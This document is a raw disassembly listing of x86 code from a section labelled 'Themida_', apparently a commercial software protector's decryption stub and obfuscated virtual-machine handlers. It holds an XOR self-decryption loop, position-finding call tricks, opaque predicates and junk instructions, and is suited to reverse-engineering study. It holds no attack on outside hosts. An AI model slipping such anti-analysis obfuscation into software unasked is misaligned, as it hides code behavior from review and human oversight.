sub_589DB7 proc near ; CODE XREF: Themida_:00589DAFp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_589DB7 endp ; --------------------------------------------------------------------------- add edi, edi loc_589DC9: ; CODE XREF: Themida_:00589D9Ej push dword ptr [ebp+7E41665h] add ebx, [ebp+7E40571h] lea eax, [ebp+7E6DBD6h] push 0 push eax call sub_589DE6 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_589DE6 proc near ; CODE XREF: Themida_:00589DDEp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_589DE6 endp ; --------------------------------------------------------------------------- dw 0EC37h dd 3988E994h, 0EE96050h, 65000000h, 9A8B2D48h, 867350B0h dd 0F877345Fh, 4896193h db 24h ; --------------------------------------------------------------------------- loc_589E15: ; CODE XREF: Themida_:loc_589C75j ; Themida_:00589DA7j push eax push esi lea edi, [ebp+7E456EBh] lea ecx, [ebp+7E4799Fh] mov eax, 748323BCh sub ecx, edi loc_589E2A: ; CODE XREF: Themida_:00589E30j xor [edi], al ror al, 1 inc edi dec ecx jnz short loc_589E2A pop esi pop eax cmp dword ptr [ebp+7E406B9h], 0 jz short loc_589E43 mov ecx, [ebp+7E41AA5h] loc_589E43: ; CODE XREF: Themida_:00589E3Bj xor ecx, ecx mov eax, 0 or eax, eax jz loc_589EFA cmp dword ptr [ebp+7E42471h], 0 jz short loc_589E61 call dword ptr [ebp+7E41F91h] loc_589E61: ; CODE XREF: Themida_:00589E59j mov eax, 0 or eax, eax jnz short loc_589E73 cmp dword ptr [ebp+7E44F89h], 1 jz short loc_589E7C loc_589E73: ; CODE XREF: Themida_:00589E68j cmp dword ptr [ebp+7E44F89h], 2 jnz short loc_589E8A loc_589E7C: ; CODE XREF: Themida_:00589E71j mov esi, [ebp+7E44F81h] lea eax, [ebp+7E6DBD6h] call eax loc_589E8A: ; CODE XREF: Themida_:00589E7Aj cmp dword ptr [ebp+7E4231Dh], 0 jz short loc_589E99 call dword ptr [ebp+7E421E1h] loc_589E99: ; CODE XREF: Themida_:00589E91j lea eax, [ebp+7E443E7h] call eax cmp dword ptr [ebp+7E40B11h], 2 jnz short loc_589ED9 mov esp, [ebp+7E40649h] mov eax, [ebp+7E406B9h] mov [esp], eax mov dword ptr [ebp+7E40E65h], 1 mov esi, [ebp+7E44F85h] mov ebp, [ebp+7E41271h] mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- jmp short $+2 loc_589ED9: ; CODE XREF: Themida_:00589EA8j mov dword ptr [ebp+7E40E65h], 1 mov esp, [ebp+7E40649h] mov esi, [ebp+7E40F11h] mov ebp, [ebp+7E41271h] xor eax, eax retn 0Ch ; --------------------------------------------------------------------------- loc_589EFA: ; CODE XREF: Themida_:00589E4Cj cmp dword ptr [ebp+7E4231Dh], 0 jz short loc_589F12 cmp dword ptr [ebp+7E421E1h], 0 jz short loc_589F12 call dword ptr [ebp+7E421E1h] loc_589F12: ; CODE XREF: Themida_:00589F01j ; Themida_:00589F0Aj mov esi, [ebp+7E44F81h] retn ; --------------------------------------------------------------------------- push 0 push edx call sub_589F24 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_589F24 proc near ; CODE XREF: Themida_:00589F1Cp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_589F24 endp ; --------------------------------------------------------------------------- dd 457D8578h, 0EBF28166h, 29958977h, 0BA07E42Ch, 0 ; --------------------------------------------------------------------------- mov bx, si push ebp mov ebp, esp push ecx push edi push edx push esi mov edi, [ebp+8] xor eax, eax jmp short loc_589F5B ; --------------------------------------------------------------------------- loc_589F59: ; CODE XREF: Themida_:00589F5Ej inc eax inc edi loc_589F5B: ; CODE XREF: Themida_:00589F57j cmp byte ptr [edi], 0 jnz short loc_589F59 xor ecx, ecx mov edi, [ebp+8] jmp short loc_589F8A ; --------------------------------------------------------------------------- loc_589F67: ; CODE XREF: Themida_:00589F8Cj xor edx, edx mov dl, [edi] sub dl, 30h mov esi, eax dec esi push eax mov eax, edx push ebx mov ebx, 0Ah jmp short loc_589F7F ; --------------------------------------------------------------------------- loc_589F7C: ; CODE XREF: Themida_:00589F82j mul ebx dec esi loc_589F7F: ; CODE XREF: Themida_:00589F7Aj cmp esi, 0 ja short loc_589F7C pop ebx add ecx, eax pop eax inc edi dec eax loc_589F8A: ; CODE XREF: Themida_:00589F65j or eax, eax jnz short loc_589F67 mov eax, ecx pop esi pop edx pop edi pop ecx leave retn 4 ; --------------------------------------------------------------------------- mov ebx, [ebp+7E4014Dh] mov edx, eax loc_589FA0: ; CODE XREF: Themida_:loc_587467j mov eax, ecx jmp loc_5AF595 ; --------------------------------------------------------------------------- db 0F4h dd 1B0012FEh, 0E0006087h, 1B0012FFh, 2B006087h, 1B00606Dh dd 23026E00h, 12026E00h, 2000002h, 2 dup(1000000h), 8B000000h dd 0F87424h, 4 dup(0) dd 27000000h, 180058FAh, 0D70058D8h, 34005977h, 2D0058F0h dd 4D00594Fh, 5A00590Ah, 2000591Eh, 360058CEh, 60005936h dd 7D005934h, 370058B9h, 0A50058D6h, 5100593Bh, 0E0005906h dd 0B00596Dh, 73005941h, 80058BEh, 0CF005929h, 1400593Dh dd 0DB0058B0h, 0AB005944h, 7E0058CBh, 580058A9h, 0B60058E0h dd 0AE005907h, 0D7005934h, 0E8005938h, 0E20058E6h, 0DA00595Eh dd 600593Fh, 0DE0058E1h, 920058CDh, 2F0058F5h, 6600596Ah dd 600058CEh, 8D005916h, 0AE005977h, 2F0058B2h, 1E0058CDh dd 0EA0058F1h, 1D00593Fh, 870058B1h, 2200594Fh, 6200595Fh dd 0F000594Fh, 0E90058E7h, 580058FBh, 77005900h, 24005976h dd 210058B0h, 0DC005915h, 0B800597Eh, 6D005950h, 8500593Fh dd 410058ADh, 270058D2h, 5100596Fh, 0B700591Dh, 0A900590Ch dd 5A00592Fh, 0CA0058E6h, 0CD0058EFh, 63005944h, 0F300594Ch dd 70058ABh, 2D0058E2h, 8F0058C0h, 2A00596Ch, 0ED0058C2h dd 0C500593Dh, 0DC005930h, 560058A4h, 0C2005969h, 140058BBh dd 0F800596Dh, 5F005941h, 280058FDh, 40058DFh, 0E700594Ah dd 0A0005901h, 8900590Fh, 4F0058A6h, 15005908h, 0F80058A4h dd 890058BFh, 320058C7h, 450058FCh, 5E0058DBh, 0D800592Eh dd 0D1005971h, 480058C4h, 0B1005917h, 0A70058FAh, 0BF0058CFh dd 2500590Eh, 930058F6h, 0DC005968h, 0DD005918h, 4D005904h dd 9A005939h, 21005931h, 4100593Dh, 5300595Ah, 0D1005963h dd 8E0058A9h, 0CF0058F9h, 95005912h, 0FB0058F9h, 5F00594Eh dd 0D00058DEh, 5D00596Fh, 95005915h, 0AB0058D1h, 0A10058C6h dd 5D005920h, 50058B1h, 790058E7h, 7600596Ah, 8B0058D0h dd 0A1005919h, 990058E7h, 49005953h, 760058DAh, 7A00595Bh dd 7F0058FAh, 7F0058EAh, 0D7005952h, 0DA0058E7h, 0F400593Ch dd 740058F4h, 9B005907h, 73005938h, 6A0058F3h, 0AF0058BAh dd 0C900594Fh, 590058C1h, 4C00591Dh, 0D200592Bh, 9300593Fh dd 3600593Ah, 0E005908h, 4F005914h, 710058E5h, 740058DDh dd 54005909h, 90058AAh, 4D005917h, 37005961h, 73005917h dd 0FB005958h, 0D0005920h, 10005932h, 880058AAh, 0A40058E1h dd 80058BAh, 120058D7h, 0F8005934h, 760058E8h, 6E0058C9h dd 0D400593Bh, 0C00058D3h, 780058C1h, 46005972h, 2A0058D5h dd 0AB0058E5h, 860058D6h ; --------------------------------------------------------------------------- cmp [ecx+0], ebx ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_58A287: ; CODE XREF: Themida_:005AF6D3j ; Themida_:005AF6DDj ... pusha pushf cld call $+5 pop edi sub edi, 7E47E04h mov eax, edi add edi, 7E47B1Ch cmp eax, [edi+2Ch] jnz short loc_58A2A5 jmp short loc_58A2B8 ; --------------------------------------------------------------------------- loc_58A2A5: ; CODE XREF: sub_5EC2E8-62047j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_58A2B4 ; --------------------------------------------------------------------------- loc_58A2AF: ; CODE XREF: sub_5EC2E8-62032j add [edi+ecx*4+40h], eax dec ecx loc_58A2B4: ; CODE XREF: sub_5EC2E8-6203Bj or ecx, ecx jnz short loc_58A2AF loc_58A2B8: ; CODE XREF: sub_5EC2E8-62045j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_58A2C5: ; CODE XREF: sub_5EC2E8-6201Cj xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_58A2C5 loc_58A2CE: ; CODE XREF: Themida_:0058A38Dj ; Themida_:0058A4FBj ... lodsb jmp loc_5963AE ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- loc_58A2D4: ; CODE XREF: Themida_:0058B833j or [edi+1Ch], esi mov esi, [esp] push esi mov esi, esp add esi, 4 jmp loc_58AFBF ; --------------------------------------------------------------------------- loc_58A2E8: ; CODE XREF: Themida_:0058B8FFj add esp, 4 jmp loc_58BF8E ; --------------------------------------------------------------------------- loc_58A2F3: ; CODE XREF: Themida_:0058DD11j mov esp, [esp] push dword ptr [esp] push dword ptr [esp] pop ecx jmp loc_58C904 ; --------------------------------------------------------------------------- loc_58A302: ; CODE XREF: Themida_:00595E5Dj mov edi, [esp] push 0EEAh mov [esp], edx mov edx, esp jmp loc_58B7BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594654 loc_58A314: ; CODE XREF: sub_594654+316Aj xchg ebp, [esp+4+var_4] mov esp, [esp+4+var_4] imul cl movzx cx, ah push 500h mov [esp+0], ecx push esp mov ecx, [esp+4+var_4] add esp, 4 push ebx jmp loc_5927C2 ; END OF FUNCTION CHUNK FOR sub_594654 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58A338: ; CODE XREF: sub_58F5B5+7DEFj or ecx, ecx jz loc_58D6EF push eax mov eax, esp add eax, 4 sub eax, 4 jmp loc_59665C ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_58A350: ; CODE XREF: Themida_:00596964j mov edx, 4 push eax mov eax, 6A387284h sub eax, 50894668h sub edi, eax pop eax jmp loc_58B9F9 ; --------------------------------------------------------------------------- loc_58A368: ; CODE XREF: Themida_:0059785Fj push eax mov eax, 2 mov edx, eax pop eax mov eax, edx pop edx add esi, 65DA575Ah sub esi, eax sub esi, 65DA575Ah pop eax xchg esi, [esp] mov esp, [esp] mov [esp], ax jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_58A392: ; CODE XREF: Themida_:0059078Aj mov esi, 0F757FA88h sub ebx, esi jmp loc_58BB5D ; --------------------------------------------------------------------------- loc_58A39E: ; CODE XREF: Themida_:00595231j add ecx, edi pop edi xchg ecx, [esp] jmp loc_597101 ; --------------------------------------------------------------------------- loc_58A3A9: ; CODE XREF: Themida_:0058DFF0j xchg esi, [esp] mov esp, [esp] mov ax, [esp] push ecx jmp loc_591C7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_58A3B9: ; CODE XREF: sub_5938B9+423Aj push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp+4+var_6+2] pop esp mov [esp+0], ebp mov ebp, 3C092462h mov esi, 27365E11h xor esi, ebp jmp loc_59769A ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_58A3E0: ; CODE XREF: sub_590467+37E0j add esi, 0A617000h add esi, ecx sub esi, 0A617000h mov ecx, [esp+0] add esp, 4 jmp loc_5957BA ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- loc_58A3FC: ; CODE XREF: Themida_:0058BB58j sub ebp, 593129CDh sub ebp, esi add ebp, 593129CDh jmp loc_597288 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595258 loc_58A40F: ; CODE XREF: sub_595258-3A14j pop esi jmp loc_58FEF5 ; END OF FUNCTION CHUNK FOR sub_595258 ; --------------------------------------------------------------------------- lodsb add al, 34h push ecx mov cl, 12h sub al, 9Dh sub al, cl add al, 9Dh pop ecx sub al, bl push ebx push ecx jmp loc_596A8D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58A42B: ; CODE XREF: sub_58C17E+3D46j add ecx, esi sub ecx, 0A575744h mov esi, [esp+0] add esp, 4 push eax sub esp, 4 mov [esp+4+var_4], esi push 3F740E7h pop esi mov eax, 3F740EBh sub eax, esi pop esi and ecx, eax push dword ptr [esp+0] pop eax push eax jmp loc_58D116 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_58A45D: ; CODE XREF: sub_5938B9+4397j mov ecx, [esp+0] jmp loc_5933AE ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- loc_58A465: ; CODE XREF: Themida_:0058F7F9j pop ecx push edx mov edx, 2 add edi, edx pop edx push edi jmp loc_594487 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590B70 loc_58A475: ; CODE XREF: sub_590B70+536Dj mov [esp+0], ebp mov ebp, esp push ebx mov ebx, 4 add ebp, ebx pop ebx push edx push esi push 1DF47593h pop esi shr esi, 4 sub esi, 1DF4755h push ecx mov ecx, esi mov edx, ecx pop ecx push [esp+8+var_8] pop esi add esp, 4 sub ebp, 49E64C75h sub ebp, edx jmp loc_59370C ; END OF FUNCTION CHUNK FOR sub_590B70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5919E2 loc_58A4AE: ; CODE XREF: sub_5919E2+5A3Aj sub ecx, edi pop edi jmp loc_58D4D4 ; END OF FUNCTION CHUNK FOR sub_5919E2 ; --------------------------------------------------------------------------- loc_58A4B6: ; CODE XREF: Themida_:0058CB4Aj pop ebx push eax jmp loc_596DA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58A4BD: ; CODE XREF: sub_58C17E+6011j push 254Eh mov [esp+8+var_8], ebp mov ebp, 4 jmp loc_58ED9C ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592D25 loc_58A4CF: ; CODE XREF: sub_592D25+9E2j xchg ecx, [esp+0] pop esp mov [esp-4+arg_0], eax push ecx jmp loc_58EDC9 ; END OF FUNCTION CHUNK FOR sub_592D25 ; --------------------------------------------------------------------------- lodsd xor eax, ebx sub esp, 4 jmp loc_592416 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592D25 loc_58A4EA: ; CODE XREF: sub_592D25+2CA6j pop eax push esi mov esi, 0AA364E0h jmp loc_591D30 ; END OF FUNCTION CHUNK FOR sub_592D25 ; --------------------------------------------------------------------------- loc_58A4F6: ; CODE XREF: Themida_:00595B3Fj rol word ptr [esp], cl pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_58A500: ; CODE XREF: Themida_:00597672j push eax mov ah, 0D8h jmp loc_58B739 ; --------------------------------------------------------------------------- loc_58A508: ; CODE XREF: Themida_:00596BD3j push edx mov edx, 6E77798Dh add edx, 5786A1Ah and edx, 0E193B26h sub edx, 0A2AC0B68h jmp loc_58F43D ; --------------------------------------------------------------------------- loc_58A525: ; CODE XREF: Themida_:00593993j push 1D9D0C4Ah pop eax jmp loc_592DB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_596CA1 loc_58A530: ; CODE XREF: sub_596CA1-994Bj and bl, dl pop dx sub bl, 24h add al, 0D2h add al, bl push bx mov bh, 0D2h sub al, bh pop bx mov ebx, [esp+2+var_4+2] add esp, 4 push ebx jmp loc_595934 ; END OF FUNCTION CHUNK FOR sub_596CA1 ; --------------------------------------------------------------------------- loc_58A54F: ; CODE XREF: Themida_:00596B2Aj add ecx, ebp sub ecx, 387F67CFh pop ebp xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] jmp loc_5951D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58A569: ; CODE XREF: sub_58C17E+A6Aj or edx, eax jmp loc_597E7F ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_58A570: ; CODE XREF: Themida_:0058CF43j xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp mov eax, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp push ebx jmp loc_58E4B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_58A58E: ; CODE XREF: sub_5EC2E8-5EA84j sub ah, 64h jmp loc_58CC2F ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- loc_58A596: ; CODE XREF: Themida_:005908D8j jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_58A59B: ; CODE XREF: sub_590010+11E1j shr esi, 3 push edx mov edx, 0F9C6E2F4h add esi, edx mov edx, [esp+4+var_4] add esp, 4 push ebx mov ebx, esi mov eax, ebx jmp loc_58FC82 ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- loc_58A5B9: ; CODE XREF: Themida_:005930C9j push 3643h mov [esp], ecx push esp pop ecx push 7F77h mov [esp], edi mov edi, 2CA148Dh add edi, 0FD35EB77h add ecx, edi pop edi push esi mov esi, 1406B59h jmp loc_5935EF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59089C loc_58A5E4: ; CODE XREF: sub_59089C+19A6j pop dword ptr [edi+24h] push eax mov eax, 5DB64E91h jmp loc_591787 ; END OF FUNCTION CHUNK FOR sub_59089C ; --------------------------------------------------------------------------- loc_58A5F2: ; CODE XREF: Themida_:00593E1Ej add eax, esi sub esp, 4 mov [esp], ebp push edx mov edx, 17962AF7h mov ebp, edx jmp loc_58AB6E ; --------------------------------------------------------------------------- loc_58A60A: ; CODE XREF: Themida_:00597391j push 0A84h mov [esp], ebx jmp loc_58F352 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595E21 loc_58A617: ; CODE XREF: sub_595E21-679j add ecx, 4 xor ecx, [esp+0] xor [esp+0], ecx xor ecx, [esp+0] pop esp jmp loc_590649 ; END OF FUNCTION CHUNK FOR sub_595E21 ; --------------------------------------------------------------------------- loc_58A629: ; CODE XREF: Themida_:0058FACCj push edi push 3086h mov [esp], edx push ebp jmp loc_5951EE ; --------------------------------------------------------------------------- loc_58A638: ; CODE XREF: Themida_:005917FBj add esp, 4 push 2271h mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_58B612 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_597716 loc_58A653: ; CODE XREF: sub_597716+13j and ebp, 0BAE571Ch jmp sub_595655 ; END OF FUNCTION CHUNK FOR sub_597716 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59524C loc_58A65E: ; CODE XREF: sub_59524C+973j neg edx push esi mov esi, 0EAB4AF9h sub edx, 66D76958h add edx, esi add edx, 66D76958h pop esi push 3BB7h mov [esp+4+var_4], ecx mov ecx, 620A1BF4h or edx, ecx jmp loc_59594F ; END OF FUNCTION CHUNK FOR sub_59524C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58A689: ; CODE XREF: sub_58F5B5+37Bj push 4FF0h mov [esp+8+var_8], edx jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_58A696: ; CODE XREF: Themida_:0058AF95j or edi, 0FD37D82h push 5FA6h mov [esp], edx mov edx, 17CC394Eh and edx, 25F72DA4h jmp loc_596969 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F836 loc_58A6B4: ; CODE XREF: Themida_:loc_59036Ej ; sub_58F836+66E7j pop eax add eax, 6DD12502h jmp loc_593728 ; END OF FUNCTION CHUNK FOR sub_58F836 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EB1F loc_58A6BF: ; CODE XREF: sub_58EB1F+B37j xchg ebp, [esp+0] pop esp mov [esp-4+arg_0], ecx push ebx mov ebx, 4E03894h add ebx, 471C42F7h push ebp mov ebp, 20F658B4h sub ebp, 0AA410DC3h add ebx, ebp pop ebp sub ebx, 5BFC29BCh or ebx, 1B75370Fh sub esp, 4 mov [esp+4+var_4], ebp jmp sub_58D236 ; END OF FUNCTION CHUNK FOR sub_58EB1F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58A6FB: ; CODE XREF: sub_58C17E+D3Fj mov ebx, 4 add [esp+8+var_4], ebx pop ebx mov ebp, [esp+4+var_4] jmp loc_596042 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_58A70D: ; CODE XREF: sub_590467+2318j push [esp-4+arg_4] pop eax jmp loc_59657E ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- byte_58A717 db 89h ; CODE XREF: Themida_:00594906j ; --------------------------------------------------------------------------- and al, 24h add dword ptr [esp], 4 jmp loc_58BDF3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_58A723: ; CODE XREF: sub_590467+3C04j and ebp, 2E86331Eh or ebp, 400507A8h jnz loc_58B9BA shl ebp, 5 jmp loc_58D164 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- sub ecx, ebx ; START OF FUNCTION CHUNK FOR sub_590010 loc_58A73F: ; CODE XREF: sub_590010+2EB0j shl ecx, 6 shl ecx, 6 shr ecx, 4 jmp loc_58C945 ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- loc_58A74D: ; CODE XREF: Themida_:00595524j push ebp mov ebp, 76152C44h xor ebp, 299E2CDAh and ebp, 35D65133h inc ebp push edx mov edx, 15820013h sub ebp, edx jmp loc_593E44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_58A76D: ; CODE XREF: sub_590467-47C0j pop cx sub bl, 0D5h jmp loc_58D314 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_58A777: ; CODE XREF: sub_59762D-6C2Ej or ebp, 5C967C10h xor ebp, 0C24EC2BCh mov eax, ebp pop ebp sub eax, ebx pop ebx shl eax, 2 js loc_594307 push edi mov edi, 8DF9C78Eh jmp loc_596786 ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- pop ebx ; START OF FUNCTION CHUNK FOR sub_58D236 loc_58A79E: ; CODE XREF: sub_58D236+141Fj pop esp mov ax, word ptr [esp-4+arg_0] jmp loc_59772E ; END OF FUNCTION CHUNK FOR sub_58D236 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_58A7A8: ; CODE XREF: sub_590010-3A35j mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp+4+var_4] pop esp mov [esp+0], ebx mov ebx, 4 add ecx, ebx pop ebx jmp sub_59590E ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- loc_58A7C7: ; CODE XREF: Themida_:005967B7j xor [esp], ecx xor ecx, [esp] pop esp test cx, ax pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58A7D7: ; CODE XREF: sub_58C17E+8B30j sub eax, 3E5A6B2Bh sub eax, 65647781h add eax, edi add eax, 65647781h jmp loc_5966B5 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592D12 loc_58A7ED: ; CODE XREF: sub_592D12+1j pop eax pop ebp and eax, 58EE63B2h jmp loc_58E11C ; END OF FUNCTION CHUNK FOR sub_592D12 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594654 loc_58A7F9: ; CODE XREF: sub_594654+2563j shr edi, 7 jmp loc_594C56 ; END OF FUNCTION CHUNK FOR sub_594654 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_58A801: ; CODE XREF: sub_5EC2E8-58052j jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58A806: ; CODE XREF: sub_5916C4+5501j add ebp, 30103AF3h jmp loc_5901F7 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_58A811: ; CODE XREF: Themida_:0059241Bj push edx mov edx, 476E1E13h shr edx, 8 add edx, 0FFB891E6h add edi, edx pop edx sub edi, 4 xchg edi, [esp] jmp loc_5928FE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_58A82E: ; CODE XREF: sub_5EC2E8-54382j js loc_5951C7 or dl, 77h sub dl, 8Fh jmp loc_58B72C ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58A83F: ; CODE XREF: sub_58F5B5+6395j mov ebp, 78A8264Bh add ebp, 3A89551Dh jmp loc_597CF6 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_58A84F: ; CODE XREF: Themida_:0058D071j pop ebp push eax mov eax, 38DA6D23h shl eax, 1 jnz loc_58C914 inc eax jp loc_58ECB6 or dh, 0E3h ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58A868: ; CODE XREF: sub_58C17E+7910j shl eax, 8 shl eax, 7 jmp loc_5967BC ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_58A873: ; CODE XREF: Themida_:00593E3Aj sub cl, 0D6h xor cl, 7Dh xor cl, 2 add bl, cl push dword ptr [esp] pop ecx push edi push 4D3Bh mov [esp], esp jmp loc_594028 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_58A890: ; CODE XREF: sub_5938B9-19C2j mov [esp+0], cx mov cl, 75h jmp loc_594371 ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- loc_58A89B: ; CODE XREF: Themida_:005966D7j pop edi xor [esp], ecx xor ecx, [esp] xor [esp], ecx jmp loc_58E805 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58A8AA: ; CODE XREF: sub_58C17E+1F3j push edx sub esp, 4 mov [esp+0Ch+var_C], eax jmp loc_591D61 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_58A8B9: ; CODE XREF: Themida_:0058F77Fj sub cl, 8Bh xor al, cl pop ecx push small 5C8Dh mov [esp], dx mov dh, 0D9h jmp loc_593535 ; --------------------------------------------------------------------------- loc_58A8CE: ; CODE XREF: Themida_:005912D2j mov ecx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_5911E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_58A8E2: ; CODE XREF: sub_590467+1CCDj add esp, 4 push eax push esi mov esi, 6DD02ED4h xor esi, 432B000Bh sub esi, 1 jmp loc_58CDB3 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- loc_58A8FA: ; CODE XREF: Themida_:00595909j sub dh, 97h mov bh, dh pop edx push ax mov al, 90h sub dl, al mov ax, [esp] jmp loc_58C33F ; --------------------------------------------------------------------------- loc_58A90F: ; CODE XREF: Themida_:00596AF3j not bh sub bh, 45h jmp loc_59075E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595655 loc_58A919: ; CODE XREF: sub_595655-5E72j add edx, edi push dword ptr [edx] pop ecx mov edx, [esp+0] push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp+4+var_4] pop esp mov [esp+0], edx mov edx, esp add edx, 4 push ecx mov ecx, 4 jmp loc_593973 ; END OF FUNCTION CHUNK FOR sub_595655 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_58A946: ; CODE XREF: sub_5916CB+17B6j push dword ptr [esp+0] mov ebp, [esp+4+var_4] add esp, 4 jmp loc_5949C1 ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- loc_58A954: ; CODE XREF: Themida_:0058FAECj and ecx, 70794FC8h jmp loc_591AC2 ; --------------------------------------------------------------------------- loc_58A95F: ; CODE XREF: Themida_:005958DAj pop edx mov esi, edx pop edx pop ebx sub eax, 45CB69C0h add eax, esi push ebp mov ebp, 6C80015h jmp loc_5900F9 ; --------------------------------------------------------------------------- loc_58A976: ; CODE XREF: Themida_:0058E9E4j add ecx, ebp pop ebp jmp loc_58D976 ; --------------------------------------------------------------------------- mov ax, [esp] push 53B0h mov [esp], edi mov edi, esp push esi jmp loc_58C464 ; --------------------------------------------------------------------------- loc_58A992: ; CODE XREF: Themida_:005961E4j add esp, 4 push cx push edx jmp loc_595AEA ; 